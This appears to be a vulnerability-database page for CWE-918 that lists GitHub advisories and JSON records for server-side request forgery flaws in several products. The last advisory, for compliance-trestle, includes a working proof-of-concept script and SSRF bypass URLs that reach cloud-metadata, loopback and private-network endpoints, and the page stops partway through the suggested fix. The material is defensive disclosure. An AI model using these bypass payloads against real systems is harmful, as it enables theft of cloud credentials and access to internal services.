Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6190 vulnerabilities reference this CWE, most recent first.

GHSA-H34J-F5R2-PCX7

Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2022-05-24 17:09
VLAI
Details

An issue was discovered in Zoho ManageEngine Remote Access Plus 10.0.447. The service to test the mail-server configuration suffers from an authorization issue allowing a user with the Guest role (read-only access) to use and abuse it. One of the abuses allows performing network and port scan operations of the localhost or the hosts on the same network segment, aka SSRF.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-20474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-17T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Zoho ManageEngine Remote Access Plus 10.0.447. The service to test the mail-server configuration suffers from an authorization issue allowing a user with the Guest role (read-only access) to use and abuse it. One of the abuses allows performing network and port scan operations of the localhost or the hosts on the same network segment, aka SSRF.",
  "id": "GHSA-h34j-f5r2-pcx7",
  "modified": "2022-05-24T17:09:09Z",
  "published": "2022-05-24T17:09:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20474"
    },
    {
      "type": "WEB",
      "url": "https://excellium-services.com/cert-xlm-advisory/cve-2019-20474"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/remote-desktop-management/knowledge-base/authorization-failure.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H39H-7CVG-Q7J6

Vulnerability from github – Published: 2026-02-25 18:57 – Updated: 2026-09-02 13:27
VLAI
Summary
AVideo has Authenticated Server-Side Request Forgery via downloadURL in aVideoEncoder.json.php
Details

Vulnerability Type

Authenticated Server-Side Request Forgery (SSRF)

Affected Product/Versions

AVideo versions prior to 22 (tested on AVideo 21.x).

Root Cause Summary

The aVideoEncoder.json.php API endpoint accepts a downloadURL parameter and fetches the referenced resource server-side without proper validation or an allow-list. This allows authenticated users to trigger server-side requests to arbitrary URLs (including internal network endpoints).

Impact Summary

An authenticated attacker can leverage SSRF to interact with internal services and retrieve sensitive data (e.g., internal APIs, metadata services), potentially leading to further compromise depending on the deployment environment.

Resolution/Fix

This issue has been fixed in AVideo version 22. Users should upgrade to version 22.0 as soon as possible.

Credits/Acknowledgement

Thanks to Arkadiusz Marta for responsibly reporting this issue. - GitHub Profile: https://github.com/arkmarta/

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 21.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T18:57:05Z",
    "nvd_published_at": "2026-02-24T15:21:39Z",
    "severity": "HIGH"
  },
  "details": "### Vulnerability Type\nAuthenticated Server-Side Request Forgery (SSRF)\n\n### Affected Product/Versions\nAVideo versions prior to 22 (tested on AVideo 21.x).\n\n### Root Cause Summary\nThe `aVideoEncoder.json.php` API endpoint accepts a `downloadURL` parameter and fetches the referenced resource server-side without proper validation or an allow-list. This allows authenticated users to trigger server-side requests to arbitrary URLs (including internal network endpoints).\n\n### Impact Summary\nAn authenticated attacker can leverage SSRF to interact with internal services and retrieve sensitive data (e.g., internal APIs, metadata services), potentially leading to further compromise depending on the deployment environment.\n\n### Resolution/Fix\nThis issue has been fixed in AVideo version 22. Users should upgrade to version 22.0 as soon as possible.\n\n### Credits/Acknowledgement\nThanks to Arkadiusz Marta for responsibly reporting this issue.\n- GitHub Profile: https://github.com/arkmarta/",
  "id": "GHSA-h39h-7cvg-q7j6",
  "modified": "2026-09-02T13:27:47Z",
  "published": "2026-02-25T18:57:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-h39h-7cvg-q7j6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27732"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/384ef2548093f4cbb1bfac00f1f429fe57fab853"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/releases/tag/22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AVideo has Authenticated Server-Side Request Forgery via downloadURL in aVideoEncoder.json.php"
}

GHSA-H3MQ-GV39-G8GH

Vulnerability from github – Published: 2025-10-05 09:30 – Updated: 2025-10-05 09:30
VLAI
Details

A vulnerability was determined in samanhappy MCPHub up to 0.9.10. This affects an unknown part of the file src/controllers/serverController.ts of the component MCPRouter Service. This manipulation of the argument baseUrl causes server-side request forgery. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
2.0 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11286"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-05T07:15:31Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in samanhappy MCPHub up to 0.9.10. This affects an unknown part of the file src/controllers/serverController.ts of the component MCPRouter Service. This manipulation of the argument baseUrl causes server-side request forgery. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-h3mq-gv39-g8gh",
  "modified": "2025-10-05T09:30:19Z",
  "published": "2025-10-05T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/YU1/issues/7"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.327044"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.327044"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.659744"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H3QP-HWVR-9XCQ

Vulnerability from github – Published: 2025-06-26 18:53 – Updated: 2025-06-26 18:53
VLAI
Summary
Octo STS Unauthenticated SSRF by abusing fields in OpenID Connect tokens
Details

Summary

Octo-STS versions before v0.5.3 are vulnerable to unauthenticated SSRF by abusing fields in OpenID Connect tokens. Malicious tokens were shown to trigger internal network requests which could reflect error logs with sensitive information.

Please upgrade to v0.5.3 to resolve this issue. This version includes patch sets to sanitize input and redact logging.

Many thanks to @vicevirus for reporting this issue and for assisting with remediation review.

References

  • https://github.com/octo-sts/app/security/advisories/GHSA-h3qp-hwvr-9xcq
  • https://github.com/octo-sts/app/commit/b3976e39bd8c8c217c0670747d34a4499043da92
  • https://github.com/octo-sts/app/commit/0f177fde54f9318e33f0bba6abaea9463a7c3afd
Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/octo-sts/app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-26T18:53:54Z",
    "nvd_published_at": "2025-06-26T17:15:30Z",
    "severity": "HIGH"
  },
  "details": "##  Summary\n\nOcto-STS versions before v0.5.3 are vulnerable to unauthenticated SSRF by abusing fields in OpenID Connect tokens. Malicious tokens were shown to trigger internal network requests which could reflect error logs with sensitive information. \n\nPlease upgrade to v0.5.3 to resolve this issue. This version includes patch sets to [sanitize input](https://github.com/octo-sts/app/commit/b3976e39bd8c8c217c0670747d34a4499043da92) and [redact logging](https://github.com/octo-sts/app/commit/0f177fde54f9318e33f0bba6abaea9463a7c3afd).\n\nMany thanks to @vicevirus for reporting this issue and for assisting with remediation review.\n\n## References\n\n- https://github.com/octo-sts/app/security/advisories/GHSA-h3qp-hwvr-9xcq\n- https://github.com/octo-sts/app/commit/b3976e39bd8c8c217c0670747d34a4499043da92\n- https://github.com/octo-sts/app/commit/0f177fde54f9318e33f0bba6abaea9463a7c3afd",
  "id": "GHSA-h3qp-hwvr-9xcq",
  "modified": "2025-06-26T18:53:54Z",
  "published": "2025-06-26T18:53:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octo-sts/app/security/advisories/GHSA-h3qp-hwvr-9xcq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octo-sts/app/commit/0f177fde54f9318e33f0bba6abaea9463a7c3afd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octo-sts/app/commit/b3976e39bd8c8c217c0670747d34a4499043da92"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octo-sts/app"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Octo STS Unauthenticated SSRF by abusing fields in OpenID Connect tokens"
}

GHSA-H3W6-J9VX-XH22

Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32
VLAI
Details

Subscriber Server Side Request Forgery (SSRF) in utm.codes <= 1.9.0 versions.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T15:16:42Z",
    "severity": "MODERATE"
  },
  "details": "Subscriber Server Side Request Forgery (SSRF) in utm.codes \u003c= 1.9.0 versions.",
  "id": "GHSA-h3w6-j9vx-xh22",
  "modified": "2026-06-26T15:32:16Z",
  "published": "2026-06-26T15:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56026"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/utm-dot-codes/vulnerability/wordpress-utm-codes-plugin-1-9-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H3WV-47XM-4MG6

Vulnerability from github – Published: 2018-10-19 16:51 – Updated: 2022-09-14 19:16
VLAI
Summary
Server Side Request Forgery in svgSalamander
Details

The SVG Salamander (aka svgSalamander) library, when used in a web application, allows remote attackers to conduct server-side request forgery (SSRF) attacks via an xlink:href attribute in an SVG file.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.kitfox.svg:svg-salamander"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-5617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:38:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The SVG Salamander (aka svgSalamander) library, when used in a web application, allows remote attackers to conduct server-side request forgery (SSRF) attacks via an xlink:href attribute in an SVG file.",
  "id": "GHSA-h3wv-47xm-4mg6",
  "modified": "2022-09-14T19:16:41Z",
  "published": "2018-10-19T16:51:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blackears/svgSalamander/issues/11"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-h3wv-47xm-4mg6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/blackears/svgSalamander"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3V7RIIO3HO4RNDBN2PARLIDAL3RPV2OX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPUOI6NCEB6H6YHKN7M4V3CAQD63NXAU"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202003-11"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3781"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/01/27/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/01/29/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95871"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server Side Request Forgery in svgSalamander"
}

GHSA-H44J-2VGW-Q5F2

Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31
VLAI
Details

NVIDIA Dynamo for Linux contains a vulnerability in the multimodal media fetcher where an attacker may cause server-side request forgery via DNS rebinding. A successful exploit of this vulnerability might lead to information disclosure.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-47617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T18:16:51Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Dynamo for Linux contains a vulnerability in the multimodal media fetcher where an attacker may cause server-side request forgery via DNS rebinding. A successful exploit of this vulnerability might lead to information disclosure.",
  "id": "GHSA-h44j-2vgw-q5f2",
  "modified": "2026-08-04T18:31:29Z",
  "published": "2026-08-04T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5842"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47617"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H45W-7H64-7676

Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-13 21:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Global Payments GlobalPayments WooCommerce global-payments-woocommerce allows Server Side Request Forgery.This issue affects GlobalPayments WooCommerce: from n/a through <= 1.18.0.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-39645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T09:16:35Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Global Payments GlobalPayments WooCommerce global-payments-woocommerce allows Server Side Request Forgery.This issue affects GlobalPayments WooCommerce: from n/a through \u003c= 1.18.0.",
  "id": "GHSA-h45w-7h64-7676",
  "modified": "2026-04-13T21:30:36Z",
  "published": "2026-04-08T09:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39645"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/global-payments-woocommerce/vulnerability/wordpress-globalpayments-woocommerce-plugin-1-18-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H47F-GMJP-M7RR

Vulnerability from github – Published: 2026-08-12 15:21 – Updated: 2026-08-12 15:21
VLAI
Summary
compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0
Details

Summary

compliance-trestle 4.0.3 (latest) ships an URLSecurityValidator in trestle/core/remote/security.py to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:

  • IPv4-mapped IPv6 literals ([::ffff:169.254.169.254], [::ffff:127.0.0.1], [::ffff:10.0.0.1]) are returned by socket.getaddrinfo as IPv6Address objects; IPv6Address in IPv4Network('169.254.0.0/16') returns False, so the _check_blocked_networks and _check_private_networks predicates do not match.
  • IPv4 unspecified address 0.0.0.0 is not in ALWAYS_BLOCKED_NETWORKS (which covers 127.0.0.0/8 but not 0.0.0.0/8); on Linux + Docker, 0.0.0.0 routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.

A malicious OSCAL profile referencing one of these URLs in imports[*].href or back-matter.resources[*].rlinks[*].href causes HTTPSFetcher.__init__ and _do_fetch (which both invoke validator.validate_url) to pass the URL through to requests.get, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with TRESTLE_BLOCK_PRIVATE_IPS=true set) that the validator was specifically designed to block.

Affected versions

compliance-trestle (PyPI) versions <= 4.0.3 are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced URLSecurityValidator; prior releases had no SSRF guard at all.

Privilege required

Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via HTTPSFetcher or SFTPFetcher. The most realistic vector is a malicious OSCAL profile whose imports[*].href references one of the bypass URLs; the artifact then flows through trestle href add / trestle import / trestle assemble / trestle author / any workflow that resolves the profile's imports.

Root cause

trestle/core/remote/security.py (4.0.3, lines 56-71 + 156-167):

ALWAYS_BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),     # IPv4 loopback only
    ipaddress.ip_network('::1/128'),         # IPv6 loopback (single address)
    ipaddress.ip_network('169.254.0.0/16'),  # IPv4 link-local only
    ipaddress.ip_network('fe80::/10'),       # IPv6 link-local
]

METADATA_HOSTNAMES = {
    '169.254.169.254',          # IPv4 literal only
    'metadata.google.internal',
    'metadata.azure.com',
    '100.100.100.200',
}

def _check_blocked_networks(self, ip_addr, hostname):
    for network in ALWAYS_BLOCKED_NETWORKS:
        if ip_addr in network:  # IPv6Address in IPv4Network -> False
            raise TrestleError(...)

Four independent gaps:

  1. No IPv4-mapped IPv6 normalization. socket.getaddrinfo('::ffff:169.254.169.254', None) returns an IPv6Address. Python's ipaddress module raises TypeError if mixed types are compared, and the in operator suppresses that to False. The validator never calls .ipv4_mapped to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the [::ffff:N.N.N.N] literal.

  2. METADATA_HOSTNAMES is an exact-string set. The hostname for https://[::ffff:169.254.169.254]/ is ::ffff:169.254.169.254, which is not in the set.

  3. 0.0.0.0 is not blocked. 0.0.0.0 is not in any of the four ALWAYS_BLOCKED_NETWORKS ranges. On Linux and inside containers, connecting to 0.0.0.0 routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on 0.0.0.0:PORT).

  4. DNS rebinding ribbon is only one IP deep. _resolve_hostname records the first getaddrinfo result set, but a hostname with mixed records can still serve a private IP on the second resolution validator.validate_url(self._url) performs in _do_fetch. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.

Sibling code paths sharing the same defect: SFTPFetcher.__init__ (lines 359-365 of cache.py) wires the identical URLSecurityValidator and inherits all four gaps.

Reproduction (E2E against pip install compliance-trestle==4.0.3 + local IMDS simulator)

# 1. Setup
mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle
python3.12 -m venv venv   # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's is_global fix, proving this bypass is is_global-INDEPENDENT
./venv/bin/pip install --quiet compliance-trestle==4.0.3
./venv/bin/pip show compliance-trestle | head -2
# Name: compliance-trestle
# Version: 4.0.3

# 2. Driver
cat > e2e_full.py <<'PY'
import http.server, http.client, socket, socketserver, threading, time, os
from urllib.parse import urlparse
from trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config
from trestle.common.err import TrestleError

class IMDS(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF","SecretAccessKey":"REDACTED","Token":"FAKE_IMDS_RESPONSE"}'
        self.send_response(200); self.send_header("Content-Length", str(len(body))); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

class DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):
    address_family = socket.AF_INET6
    def server_bind(self):
        try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
        except (AttributeError, OSError): pass
        super().server_bind()

PORT = 18560
srv = DualStack(("::", PORT), IMDS)
threading.Thread(target=srv.serve_forever, daemon=True).start()
time.sleep(0.2)

validator = URLSecurityValidator(block_private_ips=True)
def attempt(label, url, expect_block):
    try:
        validator.validate_url(url); verdict, blocked = "VALIDATION PASSED", False
    except TrestleError as e:
        verdict, blocked = f"BLOCKED: {str(e)[:80]}", True
    meta = "(expected)" if blocked == expect_block else "(*** UNEXPECTED ***)"
    print(f"\n[{label}]\n  URL: {url}\n  Validator: {verdict}  {meta}")
    if not blocked:
        try:
            p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)
            c.request("GET", p.path or "/"); r = c.getresponse(); print(f"  Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}"); c.close()
        except Exception as e:
            print(f"  Connectivity: {type(e).__name__}: {str(e)[:80]}")

# Negative controls (validator must block)
attempt("NEG-1: literal 169.254.169.254", f"https://169.254.169.254:{PORT}/latest/meta-data/", True)
attempt("NEG-2: literal 127.0.0.1", f"https://127.0.0.1:{PORT}/admin", True)
attempt("NEG-3: metadata.google.internal", f"https://metadata.google.internal:{PORT}/", True)
attempt("NEG-4: literal 10.0.0.1 RFC1918", f"https://10.0.0.1:{PORT}/admin", True)
# Bypasses (validator should block, but does not)
attempt("BYPASS-1: IPv4-mapped IPv6 cloud-metadata", f"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin", True)
attempt("BYPASS-2: 0.0.0.0 reaches localhost", f"https://0.0.0.0:{PORT}/admin", True)
attempt("BYPASS-3: IPv4-mapped IPv6 loopback", f"https://[::ffff:127.0.0.1]:{PORT}/admin", True)
attempt("BYPASS-4: IPv4-mapped IPv6 RFC 1918", f"https://[::ffff:10.0.0.1]:{PORT}/admin", True)
srv.shutdown()
PY

# 3. Run
./venv/bin/python e2e_full.py

Observed output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's is_global/is_private reclassification IS active here; the bypass nevertheless works because this validator uses IPv6Address in IPv4Network(...) membership (which silently returns False for cross-version comparison), NOT the is_global predicate. The mechanism is therefore robust to CPython version:

Python: 3.12.13
compliance-trestle: 4.0.3
  ::ffff:169.254.169.254       is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False
  ::ffff:127.0.0.1             is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False
  ::ffff:10.0.0.1              is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False

[NEG-1: literal 169.254.169.254]
  URL: https://169.254.169.254:18560/latest/meta-data/
  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se  (expected)

[NEG-2: literal 127.0.0.1]
  URL: https://127.0.0.1:18560/admin
  Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi  (expected)

[NEG-3: metadata.google.internal]
  URL: https://metadata.google.internal:18560/
  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi  (expected)

[NEG-4: literal 10.0.0.1 RFC1918]
  URL: https://10.0.0.1:18560/admin
  Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i  (expected)

[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]
  URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: TimeoutError: timed out

[BYPASS-2: 0.0.0.0 reaches localhost]
  URL: https://0.0.0.0:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF'

[BYPASS-3: IPv4-mapped IPv6 loopback]
  URL: https://[::ffff:127.0.0.1]:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF'

[BYPASS-4: IPv4-mapped IPv6 RFC 1918]
  URL: https://[::ffff:10.0.0.1]:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: RemoteDisconnected: Remote end closed connection without response

(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of is_global-independence: even with CPython's CVE-2024-4032 fix active (is_global=False, is_private=True), the validator's in IPv4Network(...) membership check still returns False, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/::, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)

Negative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass URLSecurityValidator.validate_url() on the latest patched release.

Impact

  • SSRF to AWS / Azure / GCP / Alibaba IMDS via https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role> -> short-lived role credentials exfiltrated through the cached fetch.
  • SSRF to loopback administrative interfaces via https://0.0.0.0:PORT/ or https://[::ffff:127.0.0.1]:PORT/ -> access to local-only admin endpoints (Docker socket on unix://, Prometheus, etcd, Kubelet) that the validator was supposed to deny.
  • SSRF to RFC 1918 internal services via https://[::ffff:10.0.0.1]/... even when TRESTLE_BLOCK_PRIVATE_IPS=true is explicitly set, defeating the operator's defense-in-depth posture.
  • The cache-write traversal protection (PathSecurityValidator.validate_url_path_for_cache + validate_cache_path) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.

Suggested fix

Normalize every resolved IP to its canonical IPv4 form before membership checks, and add 0.0.0.0 to the always-blocked set. Diff sketch against trestle/core/remote/security.py:

ALWAYS_BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('::1/128'),
